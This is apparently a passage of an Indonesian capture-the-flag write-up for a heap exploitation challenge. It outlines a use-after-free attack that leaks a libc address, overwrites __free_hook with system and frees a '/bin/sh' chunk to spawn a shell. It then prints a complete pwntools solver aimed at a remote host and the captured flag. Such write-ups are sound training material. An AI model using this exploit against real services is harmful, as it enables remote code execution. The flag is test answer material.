Saya dapat melalui coba-coba, ditemukan bahwa buffer ke-5
(index 4) dapat digunakan untuk write-what-where. Sehingga
flow exploitasi sebagai berikut:
1. Leak libc address (unsorted bin)
2. Gunakan use after free untuk mendapatkan write-what-where
condition
3. Set alamat buffer pada node index 7 menjadi __free_hook
dengan memanfaatkan overlapping memory dengan node index
4
4. Overwrite __free_hook agar berisi address system
5. Set payload pada node index 4 menjadi /bin/sh
6. Delete node index 4
7. Get shell

Berikut solver yang kami gunakan

#!/usr/bin/python3
from pwn import *
import sys

HOST = '103.152.242.222'
PORT = 4402
BINARY = './chall'
LIBC = './libc.so.6'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-h']
def alloc(r, idx, size, content):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('size: ')
r.sendline(str(size))
r.recvuntil('content: ')
r.sendline(content)
res = r.recvline()
if b'done' in res:
return True
return False

def edit(r, idx, content):


r.recvuntil('> ')
r.sendline('2')
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('content: ')
r.sendline(content)
res = r.recvline()
return True

def show(r, idx):


r.recvuntil('> ')
r.sendline('3')
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('content: ')
content = r.recvuntil('\n[1] Alloc')[:-(len('\n[1] Alloc'))]
return content

def delete(r, idx):


r.recvuntil('> ')
r.sendline('4')
r.recvuntil('idx: ')
r.sendline(str(idx))
return True

def padu64(b):
while(len(b) < 8):
b = b + b'\x00'
return b

def read_mem_map(pid):
with open(f'/proc/{pid}/maps') as f:
x = f.readlines()
return x

if __name__ == '__main__':
if(len(sys.argv) != 2 or sys.argv[1] not in ['local',
'remote']):
print('[+] Usage: play.py [local|remote]')
elif(sys.argv[1] == 'local'):
r = process(BINARY)
libc = ELF(LIBC)
# gdb.attach(r)
mem_maps = read_mem_map(r.pid)
for addr in mem_maps:
print(addr.strip())

alloc(r, 0, 0x410, 'AAAA')


alloc(r, 1, 0x410, 'BBBB')
alloc(r, 2, 0x410, 'CCCC')
alloc(r, 3, 0x410, 'DDDD')
alloc(r, 4, 0x410, 'EEEE')
alloc(r, 5, 0x410, 'FFFF')
alloc(r, 6, 0x410, 'GGGG')
delete(r, 6)
delete(r, 5)
delete(r, 4)
delete(r, 3)
delete(r, 2)
delete(r, 1)
delete(r, 0)

leak = u64(padu64(show(r,5)))
base_libc = leak - 2014176
log.info(f'[+] LIBC_BASE {hex(base_libc)}')

alloc(r, 7, 0x410, 'AAAA')


payload = p64(base_libc + libc.symbols['__free_hook'])
edit(r, 4, b'A'*8 + payload)
edit(r, 7, p64(base_libc + libc.symbols['system']))
edit(r, 4, '/bin/sh')
delete(r, 4)
r.interactive()
else:
r = remote(HOST, PORT)
libc = ELF(LIBC)
alloc(r, 0, 0x410, 'AAAA')
alloc(r, 1, 0x410, 'BBBB')
alloc(r, 2, 0x410, 'CCCC')
alloc(r, 3, 0x410, 'DDDD')
alloc(r, 4, 0x410, 'EEEE')
alloc(r, 5, 0x410, 'FFFF')
alloc(r, 6, 0x410, 'GGGG')
delete(r, 6)
delete(r, 5)
delete(r, 4)
delete(r, 3)
delete(r, 2)
delete(r, 1)
delete(r, 0)

leak = u64(padu64(show(r,5)))
base_libc = leak - 2014176
log.info(f'[+] LIBC_BASE {hex(base_libc)}')

alloc(r, 7, 0x410, 'AAAA')


payload = p64(base_libc + libc.symbols['__free_hook'])
edit(r, 4, b'A'*8 + payload)
edit(r, 7, p64(base_libc + libc.symbols['system']))
edit(r, 4, '/bin/sh')
delete(r, 4)
r.interactive()
Flag
MDT4.0{use_after_free_for_the_win}

You might also like